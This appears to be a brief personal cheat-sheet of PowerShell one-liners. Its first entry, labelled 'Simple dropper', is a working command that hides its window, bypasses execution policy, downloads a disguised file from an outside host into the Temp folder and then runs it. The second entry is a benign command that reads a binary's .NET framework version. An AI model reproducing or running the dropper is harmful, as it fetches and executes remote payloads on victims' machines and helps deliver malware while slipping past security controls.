PowerShell

Simple dropper

 powershell.exe" -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('https://toto.com/image.png','C:\Users\admin\AppData\Local\Temp\image.png'); Start-Process('C:\Users\admin\AppData\Local\Temp\image.png')

Find the framework version of a binary

 [Reflection.Assembly]::ReflectionOnlyLoadFrom("C:\Users\futex\Desktop\test.exe").ImageRuntimeVersion
 v2.0.50727